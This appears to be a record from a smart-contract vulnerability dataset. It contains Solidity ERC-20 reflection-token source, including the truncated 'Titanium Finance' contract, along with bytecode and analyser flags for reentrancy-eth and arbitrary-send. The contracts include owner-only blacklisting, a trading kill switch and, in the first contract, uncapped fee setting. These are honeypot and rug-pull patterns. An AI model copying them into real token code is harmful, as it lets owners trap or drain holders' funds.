if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) external onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) external onlyOwner{
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount > 50000 * 10**9 );
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610558578063dd62ed3e14610578578063ea1644d5146105be578063f2fde38b146105de57600080fd5b8063a2a957bb146104d3578063a9059cbb146104f3578063bfd7928414610513578063c3c8cd801461054357600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b357600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027757806318160ddd146102af57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024757600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046118f1565b6105fe565b005b34801561020a57600080fd5b5060408051808201909152600e81526d2a22a6a826229027a31022a627a760911b60208201525b60405161023e91906119b6565b60405180910390f35b34801561025357600080fd5b50610267610262366004611a0b565b61069d565b604051901515815260200161023e565b34801561028357600080fd5b50601354610297906001600160a01b031681565b6040516001600160a01b03909116815260200161023e565b3480156102bb57600080fd5b50670de0b6b3a76400005b60405190815260200161023e565b3480156102e057600080fd5b506102676102ef366004611a37565b6106b4565b34801561030057600080fd5b506102c660175481565b34801561031657600080fd5b506040516009815260200161023e565b34801561033257600080fd5b50601454610297906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611a78565b61071d565b34801561037257600080fd5b506101fc610381366004611aa5565b610768565b34801561039257600080fd5b506101fc6107b0565b3480156103a757600080fd5b506102c66103b6366004611a78565b6107dd565b3480156103c757600080fd5b506101fc6107ff565b3480156103dc57600080fd5b506101fc6103eb366004611ac0565b610873565b3480156103fc57600080fd5b506102c660155481565b34801561041257600080fd5b506102c6610421366004611a78565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610297565b34801561045d57600080fd5b506101fc61046c366004611aa5565b6108b4565b34801561047d57600080fd5b506102c660165481565b34801561049357600080fd5b50604080518082019091526003815262544f4560e81b6020820152610231565b3480156104bf57600080fd5b506101fc6104ce366004611ac0565b610913565b3480156104df57600080fd5b506101fc6104ee366004611ad9565b610942565b3480156104ff57600080fd5b5061026761050e366004611a0b565b610980565b34801561051f57600080fd5b5061026761052e366004611a78565b60106020526000908152604090205460ff1681565b34801561054f57600080fd5b506101fc61098d565b34801561056457600080fd5b506101fc610573366004611b0b565b6109c3565b34801561058457600080fd5b506102c6610593366004611b8f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ca57600080fd5b506101fc6105d9366004611ac0565b610a64565b3480156105ea57600080fd5b506101fc6105f9366004611a78565b610a93565b6000546001600160a01b031633146106315760405162461bcd60e51b815260040161062890611bc8565b60405180910390fd5b60005b81518110156106995760016010600084848151811061065557610655611bfd565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069181611c29565b915050610634565b5050565b60006106aa338484610b7d565b5060015b92915050565b60006106c1848484610ca1565b610713843361070e85604051806060016040528060288152602001611d43602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061118e565b610b7d565b5060019392505050565b6000546001600160a01b031633146107475760405162461bcd60e51b815260040161062890611bc8565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161062890611bc8565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d057600080fd5b476107da816111c8565b50565b6001600160a01b0381166000908152600260205260408120546106ae90611202565b6000546001600160a01b031633146108295760405162461bcd60e51b815260040161062890611bc8565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089d5760405162461bcd60e51b815260040161062890611bc8565b652d79883d200081116108af57600080fd5b601555565b6000546001600160a01b031633146108de5760405162461bcd60e51b815260040161062890611bc8565b601454600160a01b900460ff16156108f557600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260040161062890611bc8565b601755565b6000546001600160a01b0316331461096c5760405162461bcd60e51b815260040161062890611bc8565b600893909355600a91909155600955600b55565b60006106aa338484610ca1565b6012546001600160a01b0316336001600160a01b0316146109ad57600080fd5b60006109b8306107dd565b90506107da81611286565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161062890611bc8565b60005b82811015610a5e578160056000868685818110610a0f57610a0f611bfd565b9050602002016020810190610a249190611a78565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5681611c29565b9150506109f0565b50505050565b6000546001600160a01b03163314610a8e5760405162461bcd60e51b815260040161062890611bc8565b601655565b6000546001600160a01b03163314610abd5760405162461bcd60e51b815260040161062890611bc8565b6001600160a01b038116610b225760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610628565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bdf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610628565b6001600160a01b038216610c405760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610628565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d055760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610628565b6001600160a01b038216610d675760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610628565b60008111610dc95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610628565b6000546001600160a01b03848116911614801590610df557506000546001600160a01b03838116911614155b1561108757601454600160a01b900460ff16610e8e576000546001600160a01b03848116911614610e8e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610628565b601554811115610ee05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610628565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2257506001600160a01b03821660009081526010602052604090205460ff16155b610f2b57600080fd5b6014546001600160a01b03838116911614610fb05760165481610f4d846107dd565b610f579190611c44565b10610fb05760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610628565b6000610fbb306107dd565b601754601554919250821015908210610fd45760155491505b808015610feb5750601454600160a81b900460ff16155b801561100557506014546001600160a01b03868116911614155b801561101a5750601454600160b01b900460ff165b801561103f57506001600160a01b03851660009081526005602052604090205460ff16155b801561106457506001600160a01b03841660009081526005602052604090205460ff16155b156110845761107282611286565b47801561108257611082476111c8565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110c957506001600160a01b03831660009081526005602052604090205460ff165b806110fb57506014546001600160a01b038581169116148015906110fb57506014546001600160a01b03848116911614155b1561110857506000611182565b6014546001600160a01b03858116911614801561113357506013546001600160a01b03848116911614155b1561114557600854600c55600954600d555b6014546001600160a01b03848116911614801561117057506013546001600160a01b03858116911614155b1561118257600a54600c55600b54600d555b610a5e84848484611400565b600081848411156111b25760405162461bcd60e51b815260040161062891906119b6565b5060006111bf8486611c5c565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610699573d6000803e3d6000fd5b60006006548211156112695760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610628565b600061127361142e565b905061127f8382611451565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ce576112ce611bfd565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134b9190611c73565b8160018151811061135e5761135e611bfd565b6001600160a01b0392831660209182029290920101526013546113849130911684610b7d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bd908590600090869030904290600401611c90565b600060405180830381600087803b1580156113d757600080fd5b505af11580156113eb573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061140d5761140d611493565b6114188484846114c1565b80610a5e57610a5e600e54600c55600f54600d55565b600080600061143b6115b8565b909250905061144a8282611451565b9250505090565b600061127f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f8565b600c541580156114a35750600d54155b156114aa57565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114d387611626565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115059087611683565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461153490866116c5565b6001600160a01b03891660009081526002602052604090205561155681611724565b611560848361176e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115a591815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006115d38282611451565b8210156115ef57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116195760405162461bcd60e51b815260040161062891906119b6565b5060006111bf8486611d01565b60008060008060008060008060006116438a600c54600d54611792565b925092509250600061165361142e565b905060008060006116668e8787876117e7565b919e509c509a509598509396509194505050505091939550919395565b600061127f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061118e565b6000806116d28385611c44565b90508381101561127f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610628565b600061172e61142e565b9050600061173c8383611837565b3060009081526002602052604090205490915061175990826116c5565b30600090815260026020526040902055505050565b60065461177b9083611683565b60065560075461178b90826116c5565b6007555050565b60008080806117ac60646117a68989611837565b90611451565b905060006117bf60646117a68a89611837565b905060006117d7826117d18b86611683565b90611683565b9992985090965090945050505050565b60008080806117f68886611837565b905060006118048887611837565b905060006118128888611837565b90506000611824826117d18686611683565b939b939a50919850919650505050505050565b600082611846575060006106ae565b60006118528385611d23565b90508261185f8583611d01565b1461127f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610628565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107da57600080fd5b80356118ec816118cc565b919050565b6000602080838503121561190457600080fd5b823567ffffffffffffffff8082111561191c57600080fd5b818501915085601f83011261193057600080fd5b813581811115611942576119426118b6565b8060051b604051601f19603f83011681018181108582111715611967576119676118b6565b60405291825284820192508381018501918883111561198557600080fd5b938501935b828510156119aa5761199b856118e1565b8452938501939285019261198a565b98975050505050505050565b600060208083528351808285015260005b818110156119e3578581018301518582016040015282016119c7565b818111156119f5576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a1e57600080fd5b8235611a29816118cc565b946020939093013593505050565b600080600060608486031215611a4c57600080fd5b8335611a57816118cc565b92506020840135611a67816118cc565b929592945050506040919091013590565b600060208284031215611a8a57600080fd5b813561127f816118cc565b803580151581146118ec57600080fd5b600060208284031215611ab757600080fd5b61127f82611a95565b600060208284031215611ad257600080fd5b5035919050565b60008060008060808587031215611aef57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b2057600080fd5b833567ffffffffffffffff80821115611b3857600080fd5b818601915086601f830112611b4c57600080fd5b813581811115611b5b57600080fd5b8760208260051b8501011115611b7057600080fd5b602092830195509350611b869186019050611a95565b90509250925092565b60008060408385031215611ba257600080fd5b8235611bad816118cc565b91506020830135611bbd816118cc565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c3d57611c3d611c13565b5060010190565b60008219821115611c5757611c57611c13565b500190565b600082821015611c6e57611c6e611c13565b500390565b600060208284031215611c8557600080fd5b815161127f816118cc565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ce05784516001600160a01b031683529383019391830191600101611cbb565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d1e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d3d57611d3d611c13565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220983ba94b494ddb87fde4f4353490080730596d8b1a5a46869674d8bba8c95b3f64736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,151 |
0x1f3d2e983837704f60badf6463189864e0027f65
|
/**
*Submitted for verification at Etherscan.io on 2022-04-06
*/
// SPDX-License-Identifier: Unlicensed
// TG: Titaniumfi
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Ti is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Titanium Finance";
string private constant _symbol = "Ti";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 20000000000 * 10**9;
uint256 public _maxWalletSize = 20000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_marketingAddress = payable(_msgSender());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function initContract() external onlyOwner(){
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function setTrading(bool _tradingOpen) public onlyOwner {
require(!tradingOpen);
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(taxFeeOnBuy<=_taxFeeOnBuy||taxFeeOnSell<=_taxFeeOnSell);
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
